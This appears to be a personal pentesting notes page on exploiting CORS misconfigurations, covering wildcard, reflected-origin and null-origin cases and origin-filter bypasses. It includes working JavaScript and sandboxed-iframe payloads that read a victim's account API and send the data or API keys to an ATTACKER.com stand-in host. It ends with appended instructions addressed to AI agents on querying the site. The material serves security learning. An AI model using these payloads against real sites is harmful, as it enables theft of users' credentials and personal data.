# Cross-origin resource sharing (CORS)

### Starting point

I won't include ALL possible attacks here, since there's so much good stuff out there, I linked some resources for you at the end of the page if interested ;)

When starting, find a page on your target that fetches sensitive credentials. We will use `TARGET.com/api/v1/account` as an example here, which will reveal the user's real name, API keys, payment methods, or PII

### Detection (Misconfiguration)

Using `Access-Control-Allow-Origin: *` is insecure if the response contains sensitive info

This means we can steal data using JavaScript (fetch or XHR[^1]) on our controlled site:

```
<script>
    fetch('https://TARGET.com/api/v1/account') 
    .then(r => r.text())
    .then(data => {
        fetch('https://ATTACKER.com/log', {method: 'POST', body: data});
    });
</script>
```

> **Note:** Browsers won't send cookies when the wildcard `*` is used. This attack works best on Internal Networks or APIs using custom headers that don't check origin properly

### Detection (Generic)

Here, you will start testing if CORS remains wide and open to any provided Origin values(sites)

You simply send a request like this with the Origin header value being any site you want:

```
GET /api/v1/account HTTP/1.1
Host: TARGET.com
Origin: https://randomsite.com
Cookie: sessionid=...
```

The response:

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://randomsite.com
Access-Control-Allow-Credentials: true
...
```

It reflected our supplied domain, meaning any domain can access resources from the vulnerable domain

Most server's Origin policy may use whitelist for allowed urls. For convenience, they may use regex, or prefixes, suffixes, subdomain, etc

The key here is to find the pattern, start with sites related to the target, like subdomains and progressing to other ones

Here are some variations that might bypass the filter:

* <https://sub.TARGET.com> || http[^2]://sub.TARGET.com
* <https://TARGET.com.PREFIX.com>
* <https://suffixTARGET.com>

### Detection (null origin)

If the Origin header supports the value `null`, things can get weird since the `null` origin serves as a wildcard

If the server reflects the null origin in the ACAO[^3] header like this:

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
...
```

Then we can use a sandboxed iframe on our controlled site, the payload can look like this:

<pre class="language-javascript"><code class="lang-javascript">&#x3C;iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
    &#x3C;script>
        fetch('https://TARGET.com/api/v1/account', {
            method: 'GET',
            credentials: 'include' // Essential for sending cookies/auth headers
        })
        .then(response => response.<a data-footnote-ref href="#user-content-fn-4">json()</a>)
        .then(jsonData => {
            var key = jsonData.API_key;
            location.href = 'https://ATTACKER.com/log?API=' + key;
        });
    &#x3C;/script>">
&#x3C;/iframe>
</code></pre>

### Resources

[Mozilla: CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS) - How it works, uses, and more interesting headers

[TrustedSec: CORS Findings](https://trustedsec.com/blog/cors-findings) - This is where I found the most useful for the base knowledge. If you have no idea, start here

[OWASP: Testing Cross Origin Resource Sharing](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/07-Testing_Cross_Origin_Resource_Sharing) - Extensive, deep dive into the attack and how it work with PoCs

[PortSwigger: CORS path](https://portswigger.net/web-security/learning-paths/cors) - Labs, attack scenarios and prevention

[H1 report](https://hackerone.com/reports/426165) - Real case scenario

[^1]: Old stuff\
    <https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest>

[^2]: Plain HTTP (generally on subdomains)

[^3]: ```
    Access-Control-Allow-Origin
    ```

[^4]: Use `.json()` for APIs, `.text()` for HTML


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://vix-w1zzer.gitbook.io/vixwizzer/notes/web/cross-origin-resource-sharing-cors.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
